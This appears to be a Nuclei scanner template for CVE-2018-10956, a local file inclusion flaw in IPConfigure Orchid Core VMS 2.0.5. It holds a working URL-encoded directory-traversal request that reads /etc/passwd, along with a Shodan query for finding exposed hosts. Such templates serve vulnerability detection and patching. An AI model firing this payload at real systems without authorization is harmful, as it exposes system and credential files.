id: CVE-2018-10956

info:
  name: IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    IPConfigure Orchid Core VMS 2.0.5 is susceptible to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.
  remediation: |
    Update to the latest version of IPConfigure Orchid Core VMS to mitigate the LFI vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/
    - https://github.com/nettitude/metasploit-modules/blob/master/orchid_core_vms_directory_traversal.rb
    - https://www.exploit-db.com/exploits/44916/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10956
    - https://github.com/xbl3/awesome-cve-poc_qazbnm456
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-10956
    cwe-id: CWE-22
    epss-score: 0.57917
    epss-percentile: 0.97652
    cpe: cpe:2.3:a:ipconfigure:orchid_core_vms:2.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ipconfigure
    product: orchid_core_vms
    shodan-query: http.title:"Orchid Core VMS"
  tags: cve2018,cve,orchid,vms,lfi,edb,ipconfigure

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f4b3ba62ada360ed542a1dc3aeb23fe810a3516b33b87653ac8cc1e848028c5b0221009dcb0edfc90ad78d55ad83bcfc106071329ffdb8ca67a671481c79a10b2a61cc:922c64590222798bb761d5b6d8e72950